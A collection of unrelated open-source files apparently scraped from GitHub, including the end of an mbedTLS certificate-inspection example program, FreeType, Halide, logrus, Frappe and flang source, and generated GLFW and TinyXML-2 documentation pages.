mbedtls_ssl_config conf;
mbedtls_x509_crt cacert;
mbedtls_x509_crl cacrl;
int i, j;
uint32_t flags;
int verify = 0;
char *p, *q;
const char *pers = "cert_app";
/*
* Set to sane values
*/
mbedtls_net_init( &server_fd );
mbedtls_ctr_drbg_init( &ctr_drbg );
mbedtls_ssl_init( &ssl );
mbedtls_ssl_config_init( &conf );
mbedtls_x509_crt_init( &cacert );
#if defined(MBEDTLS_X509_CRL_PARSE_C)
mbedtls_x509_crl_init( &cacrl );
#else
/* Zeroize structure as CRL parsing is not supported and we have to pass
it to the verify function */
memset( &cacrl, 0, sizeof(mbedtls_x509_crl) );
#endif
if( argc == 0 )
{
usage:
mbedtls_printf( USAGE );
ret = 2;
goto exit;
}
opt.mode = DFL_MODE;
opt.filename = DFL_FILENAME;
opt.ca_file = DFL_CA_FILE;
opt.crl_file = DFL_CRL_FILE;
opt.ca_path = DFL_CA_PATH;
opt.server_name = DFL_SERVER_NAME;
opt.server_port = DFL_SERVER_PORT;
opt.debug_level = DFL_DEBUG_LEVEL;
opt.permissive = DFL_PERMISSIVE;
for( i = 1; i < argc; i++ )
{
p = argv[i];
if( ( q = strchr( p, '=' ) ) == NULL )
goto usage;
*q++ = '\0';
for( j = 0; p + j < q; j++ )
{
if( argv[i][j] >= 'A' && argv[i][j] <= 'Z' )
argv[i][j] |= 0x20;
}
if( strcmp( p, "mode" ) == 0 )
{
if( strcmp( q, "file" ) == 0 )
opt.mode = MODE_FILE;
else if( strcmp( q, "ssl" ) == 0 )
opt.mode = MODE_SSL;
else
goto usage;
}
else if( strcmp( p, "filename" ) == 0 )
opt.filename = q;
else if( strcmp( p, "ca_file" ) == 0 )
opt.ca_file = q;
else if( strcmp( p, "crl_file" ) == 0 )
opt.crl_file = q;
else if( strcmp( p, "ca_path" ) == 0 )
opt.ca_path = q;
else if( strcmp( p, "server_name" ) == 0 )
opt.server_name = q;
else if( strcmp( p, "server_port" ) == 0 )
opt.server_port = q;
else if( strcmp( p, "debug_level" ) == 0 )
{
opt.debug_level = atoi( q );
if( opt.debug_level < 0 || opt.debug_level > 65535 )
goto usage;
}
else if( strcmp( p, "permissive" ) == 0 )
{
opt.permissive = atoi( q );
if( opt.permissive < 0 || opt.permissive > 1 )
goto usage;
}
else
goto usage;
}
/*
* 1.1. Load the trusted CA
*/
mbedtls_printf( " . Loading the CA root certificate ..." );
fflush( stdout );
if( strlen( opt.ca_path ) )
{
ret = mbedtls_x509_crt_parse_path( &cacert, opt.ca_path );
verify = 1;
}
else if( strlen( opt.ca_file ) )
{
ret = mbedtls_x509_crt_parse_file( &cacert, opt.ca_file );
verify = 1;
}
if( ret < 0 )
{
mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse returned -0x%x\n\n", -ret );
goto exit;
}
mbedtls_printf( " ok (%d skipped)\n", ret );
#if defined(MBEDTLS_X509_CRL_PARSE_C)
if( strlen( opt.crl_file ) )
{
if( ( ret = mbedtls_x509_crl_parse_file( &cacrl, opt.crl_file ) ) != 0 )
{
mbedtls_printf( " failed\n ! mbedtls_x509_crl_parse returned -0x%x\n\n", -ret );
goto exit;
}
verify = 1;
}
#endif
if( opt.mode == MODE_FILE )
{
mbedtls_x509_crt crt;
mbedtls_x509_crt *cur = &crt;
mbedtls_x509_crt_init( &crt );
/*
* 1.1. Load the certificate(s)
*/
mbedtls_printf( "\n . Loading the certificate(s) ..." );
fflush( stdout );
ret = mbedtls_x509_crt_parse_file( &crt, opt.filename );
if( ret < 0 )
{
mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse_file returned %d\n\n", ret );
mbedtls_x509_crt_free( &crt );
goto exit;
}
if( opt.permissive == 0 && ret > 0 )
{
mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse failed to parse %d certificates\n\n", ret );
mbedtls_x509_crt_free( &crt );
goto exit;
}
mbedtls_printf( " ok\n" );
/*
* 1.2 Print the certificate(s)
*/
while( cur != NULL )
{
mbedtls_printf( " . Peer certificate information ...\n" );
ret = mbedtls_x509_crt_info( (char *) buf, sizeof( buf ) - 1, " ",
cur );
if( ret == -1 )
{
mbedtls_printf( " failed\n ! mbedtls_x509_crt_info returned %d\n\n", ret );
mbedtls_x509_crt_free( &crt );
goto exit;
}
mbedtls_printf( "%s\n", buf );
cur = cur->next;
}
ret = 0;
/*
* 1.3 Verify the certificate
*/
if( verify )
{
mbedtls_printf( " . Verifying X.509 certificate..." );
if( ( ret = mbedtls_x509_crt_verify( &crt, &cacert, &cacrl, NULL, &flags,
my_verify, NULL ) ) != 0 )
{
char vrfy_buf[512];
mbedtls_printf( " failed\n" );
mbedtls_x509_crt_verify_info( vrfy_buf, sizeof( vrfy_buf ), " ! ", flags );
mbedtls_printf( "%s\n", vrfy_buf );
}
else
mbedtls_printf( " ok\n" );
}
mbedtls_x509_crt_free( &crt );
}
else if( opt.mode == MODE_SSL )
{
/*
* 1. Initialize the RNG and the session data
*/
mbedtls_printf( "\n . Seeding the random number generator..." );
fflush( stdout );
mbedtls_entropy_init( &entropy );
if( ( ret = mbedtls_ctr_drbg_seed( &ctr_drbg, mbedtls_entropy_func, &entropy,
(const unsigned char *) pers,
strlen( pers ) ) ) != 0 )
{
mbedtls_printf( " failed\n ! mbedtls_ctr_drbg_seed returned %d\n", ret );
goto ssl_exit;
}
mbedtls_printf( " ok\n" );
#if defined(MBEDTLS_DEBUG_C)
mbedtls_debug_set_threshold( opt.debug_level );
#endif
/*
* 2. Start the connection
*/
mbedtls_printf( " . SSL connection to tcp/%s/%s...", opt.server_name,
opt.server_port );
fflush( stdout );
if( ( ret = mbedtls_net_connect( &server_fd, opt.server_name,
opt.server_port, MBEDTLS_NET_PROTO_TCP ) ) != 0 )
{
mbedtls_printf( " failed\n ! mbedtls_net_connect returned %d\n\n", ret );
goto ssl_exit;
}
/*
* 3. Setup stuff
*/
if( ( ret = mbedtls_ssl_config_defaults( &conf,
MBEDTLS_SSL_IS_CLIENT,
MBEDTLS_SSL_TRANSPORT_STREAM,
MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 )
{
mbedtls_printf( " failed\n ! mbedtls_ssl_config_defaults returned %d\n\n", ret );
goto exit;
}
if( verify )
{
mbedtls_ssl_conf_authmode( &conf, MBEDTLS_SSL_VERIFY_REQUIRED );
mbedtls_ssl_conf_ca_chain( &conf, &cacert, NULL );
mbedtls_ssl_conf_verify( &conf, my_verify, NULL );
}
else
mbedtls_ssl_conf_authmode( &conf, MBEDTLS_SSL_VERIFY_NONE );
mbedtls_ssl_conf_rng( &conf, mbedtls_ctr_drbg_random, &ctr_drbg );
mbedtls_ssl_conf_dbg( &conf, my_debug, stdout );
if( ( ret = mbedtls_ssl_setup( &ssl, &conf ) ) != 0 )
{
mbedtls_printf( " failed\n ! mbedtls_ssl_setup returned %d\n\n", ret );
goto ssl_exit;
}
if( ( ret = mbedtls_ssl_set_hostname( &ssl, opt.server_name ) ) != 0 )
{
mbedtls_printf( " failed\n ! mbedtls_ssl_set_hostname returned %d\n\n", ret );
goto ssl_exit;
}
mbedtls_ssl_set_bio( &ssl, &server_fd, mbedtls_net_send, mbedtls_net_recv, NULL );
/*
* 4. Handshake
*/
while( ( ret = mbedtls_ssl_handshake( &ssl ) ) != 0 )
{
if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE )
{
mbedtls_printf( " failed\n ! mbedtls_ssl_handshake returned %d\n\n", ret );
goto ssl_exit;
}
}
mbedtls_printf( " ok\n" );
/*
* 5. Print the certificate
*/
mbedtls_printf( " . Peer certificate information ...\n" );
ret = mbedtls_x509_crt_info( (char *) buf, sizeof( buf ) - 1, " ",
ssl.session->peer_cert );
if( ret == -1 )
{
mbedtls_printf( " failed\n ! mbedtls_x509_crt_info returned %d\n\n", ret );
goto ssl_exit;
}
mbedtls_printf( "%s\n", buf );
mbedtls_ssl_close_notify( &ssl );
ssl_exit:
mbedtls_ssl_free( &ssl );
mbedtls_ssl_config_free( &conf );
}
else
goto usage;
exit:
mbedtls_net_free( &server_fd );
mbedtls_x509_crt_free( &cacert );
#if defined(MBEDTLS_X509_CRL_PARSE_C)
mbedtls_x509_crl_free( &cacrl );
#endif
mbedtls_ctr_drbg_free( &ctr_drbg );
mbedtls_entropy_free( &entropy );
#if defined(_WIN32)
mbedtls_printf( " + Press Enter to exit this program.\n" );
fflush( stdout ); getchar();
#endif
if( ret < 0 )
ret = 1;
return( ret );
}
#endif /* MBEDTLS_BIGNUM_C && MBEDTLS_ENTROPY_C && MBEDTLS_SSL_TLS_C &&
MBEDTLS_SSL_CLI_C && MBEDTLS_NET_C && MBEDTLS_RSA_C &&
MBEDTLS_X509_CRT_PARSE_C && MBEDTLS_FS_IO && MBEDTLS_CTR_DRBG_C */
| {
"pile_set_name": "Github"
} |
/***************************************************************************/
/* */
/* cf2read.h */
/* */
/* Adobe's code for stream handling (specification). */
/* */
/* Copyright 2007-2013 Adobe Systems Incorporated. */
/* */
/* This software, and all works of authorship, whether in source or */
/* object code form as indicated by the copyright notice(s) included */
/* herein (collectively, the "Work") is made available, and may only be */
/* used, modified, and distributed under the FreeType Project License, */
/* LICENSE.TXT. Additionally, subject to the terms and conditions of the */
/* FreeType Project License, each contributor to the Work hereby grants */
/* to any individual or legal entity exercising permissions granted by */
/* the FreeType Project License and this section (hereafter, "You" or */
/* "Your") a perpetual, worldwide, non-exclusive, no-charge, */
/* royalty-free, irrevocable (except as stated in this section) patent */
/* license to make, have made, use, offer to sell, sell, import, and */
/* otherwise transfer the Work, where such license applies only to those */
/* patent claims licensable by such contributor that are necessarily */
/* infringed by their contribution(s) alone or by combination of their */
/* contribution(s) with the Work to which such contribution(s) was */
/* submitted. If You institute patent litigation against any entity */
/* (including a cross-claim or counterclaim in a lawsuit) alleging that */
/* the Work or a contribution incorporated within the Work constitutes */
/* direct or contributory patent infringement, then any patent licenses */
/* granted to You under this License for that Work shall terminate as of */
/* the date such litigation is filed. */
/* */
/* By using, modifying, or distributing the Work you indicate that you */
/* have read and understood the terms and conditions of the */
/* FreeType Project License as well as those provided in this section, */
/* and you accept them fully. */
/* */
/***************************************************************************/
#ifndef __CF2READ_H__
#define __CF2READ_H__
FT_BEGIN_HEADER
typedef struct CF2_BufferRec_
{
FT_Error* error;
const FT_Byte* start;
const FT_Byte* end;
const FT_Byte* ptr;
} CF2_BufferRec, *CF2_Buffer;
FT_LOCAL( CF2_Int )
cf2_buf_readByte( CF2_Buffer buf );
FT_LOCAL( FT_Bool )
cf2_buf_isEnd( CF2_Buffer buf );
FT_END_HEADER
#endif /* __CF2READ_H__ */
/* END */
| {
"pile_set_name": "Github"
} |
#ifndef HALIDE_LAMBDA_H
#define HALIDE_LAMBDA_H
#include "Func.h"
#include "Var.h"
/** \file
* Convenience functions for creating small anonymous Halide
* functions. See test/lambda.cpp for example usage. */
namespace Halide {
/** Create a zero-dimensional halide function that returns the given
* expression. The function may have more dimensions if the expression
* contains implicit arguments. */
inline Func lambda(const Expr &e) {
Func f("lambda" + Internal::unique_name('_'));
f(_) = e;
return f;
}
/** Create a 1-D halide function in the first argument that returns
* the second argument. The function may have more dimensions if the
* expression contains implicit arguments and the list of Var
* arguments contains a placeholder ("_"). */
inline Func lambda(const Var &x, const Expr &e) {
Func f("lambda" + Internal::unique_name('_'));
f(x) = e;
return f;
}
/** Create a 2-D halide function in the first two arguments that
* returns the last argument. The function may have more dimensions if
* the expression contains implicit arguments and the list of Var
* arguments contains a placeholder ("_"). */
inline Func lambda(const Var &x, const Var &y, const Expr &e) {
Func f("lambda" + Internal::unique_name('_'));
f(x, y) = e;
return f;
}
/** Create a 3-D halide function in the first three arguments that
* returns the last argument. The function may have more dimensions
* if the expression contains implicit arguments and the list of Var
* arguments contains a placeholder ("_"). */
inline Func lambda(const Var &x, const Var &y, const Var &z, const Expr &e) {
Func f("lambda" + Internal::unique_name('_'));
f(x, y, z) = e;
return f;
}
/** Create a 4-D halide function in the first four arguments that
* returns the last argument. The function may have more dimensions if
* the expression contains implicit arguments and the list of Var
* arguments contains a placeholder ("_"). */
inline Func lambda(const Var &x, const Var &y, const Var &z, const Var &w, const Expr &e) {
Func f("lambda" + Internal::unique_name('_'));
f(x, y, z, w) = e;
return f;
}
/** Create a 5-D halide function in the first five arguments that
* returns the last argument. The function may have more dimensions if
* the expression contains implicit arguments and the list of Var
* arguments contains a placeholder ("_"). */
inline Func lambda(const Var &x, const Var &y, const Var &z, const Var &w, const Var &v, const Expr &e) {
Func f("lambda" + Internal::unique_name('_'));
f(x, y, z, w, v) = e;
return f;
}
} // namespace Halide
#endif //HALIDE_LAMBDA_H
| {
"pile_set_name": "Github"
} |
/*
Package logrus is a structured logger for Go, completely API compatible with the standard library logger.
The simplest way to use Logrus is simply the package-level exported logger:
package main
import (
log "github.com/sirupsen/logrus"
)
func main() {
log.WithFields(log.Fields{
"animal": "walrus",
"number": 1,
"size": 10,
}).Info("A walrus appears")
}
Output:
time="2015-09-07T08:48:33Z" level=info msg="A walrus appears" animal=walrus number=1 size=10
For a full guide visit https://github.com/sirupsen/logrus
*/
package logrus
| {
"pile_set_name": "Github"
} |
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe import _
class ItemPriceDuplicateItem(frappe.ValidationError): pass
from frappe.model.document import Document
class ItemPrice(Document):
def validate(self):
self.validate_item()
self.validate_dates()
self.update_price_list_details()
self.update_item_details()
self.check_duplicates()
def validate_item(self):
if not frappe.db.exists("Item", self.item_code):
frappe.throw(_("Item {0} not found").format(self.item_code))
def validate_dates(self):
if self.valid_from and self.valid_upto:
if self.valid_from > self.valid_upto:
frappe.throw(_("Valid From Date must be lesser than Valid Upto Date."))
def update_price_list_details(self):
if self.price_list:
price_list_details = frappe.db.get_value("Price List",
{"name": self.price_list, "enabled": 1},
["buying", "selling", "currency"])
if not price_list_details:
link = frappe.utils.get_link_to_form('Price List', self.price_list)
frappe.throw("The price list {0} does not exists or disabled".
format(link))
self.buying, self.selling, self.currency = price_list_details
def update_item_details(self):
if self.item_code:
self.item_name, self.item_description = frappe.db.get_value("Item",
self.item_code,["item_name", "description"])
def check_duplicates(self):
conditions = "where item_code=%(item_code)s and price_list=%(price_list)s and name != %(name)s"
for field in ['uom', 'valid_from',
'valid_upto', 'packing_unit', 'customer', 'supplier']:
if self.get(field):
conditions += " and {0} = %({1})s".format(field, field)
price_list_rate = frappe.db.sql("""
SELECT price_list_rate
FROM `tabItem Price`
{conditions} """.format(conditions=conditions), self.as_dict())
if price_list_rate :
frappe.throw(_("Item Price appears multiple times based on Price List, Supplier/Customer, Currency, Item, UOM, Qty and Dates."), ItemPriceDuplicateItem)
def before_save(self):
if self.selling:
self.reference = self.customer
if self.buying:
self.reference = self.supplier
if self.selling and not self.buying:
# if only selling then remove supplier
self.supplier = None
if self.buying and not self.selling:
# if only buying then remove customer
self.customer = None
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.15"/>
<title>GLFW: vulkan.dox File Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="extra.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<div class="glfwheader">
<a href="https://www.glfw.org/" id="glfwhome">GLFW</a>
<ul class="glfwnavbar">
<li><a href="https://www.glfw.org/documentation.html">Documentation</a></li>
<li><a href="https://www.glfw.org/download.html">Download</a></li>
<li><a href="https://www.glfw.org/community.html">Community</a></li>
</ul>
</div>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.15 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
</div><!-- top -->
<div class="header">
<div class="headertitle">
<div class="title">vulkan.dox File Reference</div> </div>
</div><!--header-->
<div class="contents">
</div><!-- contents -->
<address class="footer">
<p>
Last update on Tue Apr 16 2019 for GLFW 3.3.0
</p>
</address>
</body>
</html>
| {
"pile_set_name": "Github"
} |
//===-- include/flang/Evaluate/real.h ---------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#ifndef FORTRAN_EVALUATE_REAL_H_
#define FORTRAN_EVALUATE_REAL_H_
#include "formatting.h"
#include "integer.h"
#include "rounding-bits.h"
#include "flang/Common/real.h"
#include "flang/Evaluate/common.h"
#include <cinttypes>
#include <limits>
#include <string>
// Some environments, viz. clang on Darwin, allow the macro HUGE
// to leak out of <math.h> even when it is never directly included.
#undef HUGE
namespace llvm {
class raw_ostream;
}
namespace Fortran::evaluate::value {
// LOG10(2.)*1E12
static constexpr std::int64_t ScaledLogBaseTenOfTwo{301029995664};
// Models IEEE binary floating-point numbers (IEEE 754-2008,
// ISO/IEC/IEEE 60559.2011). The first argument to this
// class template must be (or look like) an instance of Integer<>;
// the second specifies the number of effective bits (binary precision)
// in the fraction.
template <typename WORD, int PREC>
class Real : public common::RealDetails<PREC> {
public:
using Word = WORD;
static constexpr int binaryPrecision{PREC};
using Details = common::RealDetails<PREC>;
using Details::exponentBias;
using Details::exponentBits;
using Details::isImplicitMSB;
using Details::maxExponent;
using Details::significandBits;
static constexpr int bits{Word::bits};
static_assert(bits >= Details::bits);
using Fraction = Integer<binaryPrecision>; // all bits made explicit
template <typename W, int P> friend class Real;
constexpr Real() {} // +0.0
constexpr Real(const Real &) = default;
constexpr Real(const Word &bits) : word_{bits} {}
constexpr Real &operator=(const Real &) = default;
constexpr Real &operator=(Real &&) = default;
constexpr bool operator==(const Real &that) const {
return word_ == that.word_;
}
// TODO: DIM, MAX, MIN, DPROD, FRACTION,
// INT/NINT, NEAREST, OUT_OF_RANGE,
// RRSPACING/SPACING, SCALE, SET_EXPONENT
constexpr bool IsSignBitSet() const { return word_.BTEST(bits - 1); }
constexpr bool IsNegative() const {
return !IsNotANumber() && IsSignBitSet();
}
constexpr bool IsNotANumber() const {
return Exponent() == maxExponent && !GetSignificand().IsZero();
}
constexpr bool IsQuietNaN() const {
return Exponent() == maxExponent &&
GetSignificand().BTEST(significandBits - 1);
}
constexpr bool IsSignalingNaN() const {
return IsNotANumber() && !GetSignificand().BTEST(significandBits - 1);
}
constexpr bool IsInfinite() const {
return Exponent() == maxExponent && GetSignificand().IsZero();
}
constexpr bool IsZero() const {
return Exponent() == 0 && GetSignificand().IsZero();
}
constexpr bool IsSubnormal() const {
return Exponent() == 0 && !GetSignificand().IsZero();
}
constexpr Real ABS() const { // non-arithmetic, no flags returned
return {word_.IBCLR(bits - 1)};
}
constexpr Real SetSign(bool toNegative) const { // non-arithmetic
if (toNegative) {
return {word_.IBSET(bits - 1)};
} else {
return ABS();
}
}
constexpr Real SIGN(const Real &x) const { return SetSign(x.IsSignBitSet()); }
constexpr Real Negate() const { return {word_.IEOR(word_.MASKL(1))}; }
Relation Compare(const Real &) const;
ValueWithRealFlags<Real> Add(
const Real &, Rounding rounding = defaultRounding) const;
ValueWithRealFlags<Real> Subtract(
const Real &y, Rounding rounding = defaultRounding) const {
return Add(y.Negate(), rounding);
}
ValueWithRealFlags<Real> Multiply(
const Real &, Rounding rounding = defaultRounding) const;
ValueWithRealFlags<Real> Divide(
const Real &, Rounding rounding = defaultRounding) const;
// SQRT(x**2 + y**2) but computed so as to avoid spurious overflow
// TODO: needed for CABS
ValueWithRealFlags<Real> HYPOT(
const Real &, Rounding rounding = defaultRounding) const;
template <typename INT> constexpr INT EXPONENT() const {
if (Exponent() == maxExponent) {
return INT::HUGE();
} else {
return {UnbiasedExponent()};
}
}
static constexpr Real EPSILON() {
Real epsilon;
epsilon.Normalize(
false, exponentBias - binaryPrecision, Fraction::MASKL(1));
return epsilon;
}
static constexpr Real HUGE() {
Real huge;
huge.Normalize(false, maxExponent - 1, Fraction::MASKR(binaryPrecision));
return huge;
}
static constexpr Real TINY() {
Real tiny;
tiny.Normalize(false, 1, Fraction::MASKL(1)); // minimum *normal* number
return tiny;
}
static constexpr int DIGITS{binaryPrecision};
static constexpr int PRECISION{Details::decimalPrecision};
static constexpr int RANGE{Details::decimalRange};
static constexpr int MAXEXPONENT{maxExponent - 1 - exponentBias};
static constexpr int MINEXPONENT{1 - exponentBias};
constexpr Real FlushSubnormalToZero() const {
if (IsSubnormal()) {
return Real{};
}
return *this;
}
// TODO: Configurable NotANumber representations
static constexpr Real NotANumber() {
return {Word{maxExponent}
.SHIFTL(significandBits)
.IBSET(significandBits - 1)
.IBSET(significandBits - 2)};
}
static constexpr Real Infinity(bool negative) {
Word infinity{maxExponent};
infinity = infinity.SHIFTL(significandBits);
if (negative) {
infinity = infinity.IBSET(infinity.bits - 1);
}
return {infinity};
}
template <typename INT>
static ValueWithRealFlags<Real> FromInteger(
const INT &n, Rounding rounding = defaultRounding) {
bool isNegative{n.IsNegative()};
INT absN{n};
if (isNegative) {
absN = n.Negate().value; // overflow is safe to ignore
}
int leadz{absN.LEADZ()};
if (leadz >= absN.bits) {
return {}; // all bits zero -> +0.0
}
ValueWithRealFlags<Real> result;
int exponent{exponentBias + absN.bits - leadz - 1};
int bitsNeeded{absN.bits - (leadz + isImplicitMSB)};
int bitsLost{bitsNeeded - significandBits};
if (bitsLost <= 0) {
Fraction fraction{Fraction::ConvertUnsigned(absN).value};
result.flags |= result.value.Normalize(
isNegative, exponent, fraction.SHIFTL(-bitsLost));
} else {
Fraction fraction{Fraction::ConvertUnsigned(absN.SHIFTR(bitsLost)).value};
result.flags |= result.value.Normalize(isNegative, exponent, fraction);
RoundingBits roundingBits{absN, bitsLost};
result.flags |= result.value.Round(rounding, roundingBits);
}
return result;
}
// Conversion to integer in the same real format (AINT(), ANINT())
ValueWithRealFlags<Real> ToWholeNumber(
common::RoundingMode = common::RoundingMode::ToZero) const;
// Conversion to an integer (INT(), NINT(), FLOOR(), CEILING())
template <typename INT>
constexpr ValueWithRealFlags<INT> ToInteger(
common::RoundingMode mode = common::RoundingMode::ToZero) const {
ValueWithRealFlags<INT> result;
if (IsNotANumber()) {
result.flags.set(RealFlag::InvalidArgument);
result.value = result.value.HUGE();
return result;
}
ValueWithRealFlags<Real> intPart{ToWholeNumber(mode)};
int exponent{intPart.value.Exponent()};
result.flags.set(
RealFlag::Overflow, exponent >= exponentBias + result.value.bits);
result.flags |= intPart.flags;
int shift{
exponent - exponentBias - binaryPrecision + 1}; // positive -> left
result.value =
result.value.ConvertUnsigned(intPart.value.GetFraction().SHIFTR(-shift))
.value.SHIFTL(shift);
if (IsSignBitSet()) {
auto negated{result.value.Negate()};
result.value = negated.value;
if (negated.overflow) {
result.flags.set(RealFlag::Overflow);
}
}
if (result.flags.test(RealFlag::Overflow)) {
result.value =
IsSignBitSet() ? result.value.MASKL(1) : result.value.HUGE();
}
return result;
}
template <typename A>
static ValueWithRealFlags<Real> Convert(
const A &x, Rounding rounding = defaultRounding) {
bool isNegative{x.IsNegative()};
A absX{x};
if (isNegative) {
absX = x.Negate();
}
ValueWithRealFlags<Real> result;
int exponent{exponentBias + x.UnbiasedExponent()};
int bitsLost{A::binaryPrecision - binaryPrecision};
if (exponent < 1) {
bitsLost += 1 - exponent;
exponent = 1;
}
typename A::Fraction xFraction{x.GetFraction()};
if (bitsLost <= 0) {
Fraction fraction{
Fraction::ConvertUnsigned(xFraction).value.SHIFTL(-bitsLost)};
result.flags |= result.value.Normalize(isNegative, exponent, fraction);
} else {
Fraction fraction{
Fraction::ConvertUnsigned(xFraction.SHIFTR(bitsLost)).value};
result.flags |= result.value.Normalize(isNegative, exponent, fraction);
RoundingBits roundingBits{xFraction, bitsLost};
result.flags |= result.value.Round(rounding, roundingBits);
}
return result;
}
constexpr Word RawBits() const { return word_; }
// Extracts "raw" biased exponent field.
constexpr int Exponent() const {
return word_.IBITS(significandBits, exponentBits).ToUInt64();
}
// Extracts the fraction; any implied bit is made explicit.
constexpr Fraction GetFraction() const {
Fraction result{Fraction::ConvertUnsigned(word_).value};
if constexpr (!isImplicitMSB) {
return result;
} else {
int exponent{Exponent()};
if (exponent > 0 && exponent < maxExponent) {
return result.IBSET(significandBits);
} else {
return result.IBCLR(significandBits);
}
}
}
// Extracts unbiased exponent value.
// Corrects the exponent value of a subnormal number.
constexpr int UnbiasedExponent() const {
int exponent{Exponent() - exponentBias};
if (IsSubnormal()) {
++exponent;
}
return exponent;
}
static ValueWithRealFlags<Real> Read(
const char *&, Rounding rounding = defaultRounding);
std::string DumpHexadecimal() const;
// Emits a character representation for an equivalent Fortran constant
// or parenthesized constant expression that produces this value.
llvm::raw_ostream &AsFortran(
llvm::raw_ostream &, int kind, bool minimal = false) const;
private:
using Significand = Integer<significandBits>; // no implicit bit
constexpr Significand GetSignificand() const {
return Significand::ConvertUnsigned(word_).value;
}
constexpr int CombineExponents(const Real &y, bool forDivide) const {
int exponent = Exponent(), yExponent = y.Exponent();
// A zero exponent field value has the same weight as 1.
exponent += !exponent;
yExponent += !yExponent;
if (forDivide) {
exponent += exponentBias - yExponent;
} else {
exponent += yExponent - exponentBias + 1;
}
return exponent;
}
static constexpr bool NextQuotientBit(
Fraction &top, bool &msb, const Fraction &divisor) {
bool greaterOrEqual{msb || top.CompareUnsigned(divisor) != Ordering::Less};
if (greaterOrEqual) {
top = top.SubtractSigned(divisor).value;
}
auto doubled{top.AddUnsigned(top)};
top = doubled.value;
msb = doubled.carry;
return greaterOrEqual;
}
// Normalizes and marshals the fields of a floating-point number in place.
// The value is a number, and a zero fraction means a zero value (i.e.,
// a maximal exponent and zero fraction doesn't signify infinity, although
// this member function will detect overflow and encode infinities).
RealFlags Normalize(bool negative, int exponent, const Fraction &fraction,
Rounding rounding = defaultRounding,
RoundingBits *roundingBits = nullptr);
// Rounds a result, if necessary, in place.
RealFlags Round(Rounding, const RoundingBits &, bool multiply = false);
static void NormalizeAndRound(ValueWithRealFlags<Real> &result,
bool isNegative, int exponent, const Fraction &, Rounding, RoundingBits,
bool multiply = false);
Word word_{}; // an Integer<>
};
extern template class Real<Integer<16>, 11>; // IEEE half format
extern template class Real<Integer<16>, 8>; // the "other" half format
extern template class Real<Integer<32>, 24>; // IEEE single
extern template class Real<Integer<64>, 53>; // IEEE double
extern template class Real<Integer<80>, 64>; // 80387 extended precision
extern template class Real<Integer<128>, 113>; // IEEE quad
// N.B. No "double-double" support.
} // namespace Fortran::evaluate::value
#endif // FORTRAN_EVALUATE_REAL_H_
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.13"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>TinyXML-2: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">TinyXML-2
 <span id="projectnumber">5.0.1</span>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.13 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
</script>
<div id="main-nav"></div>
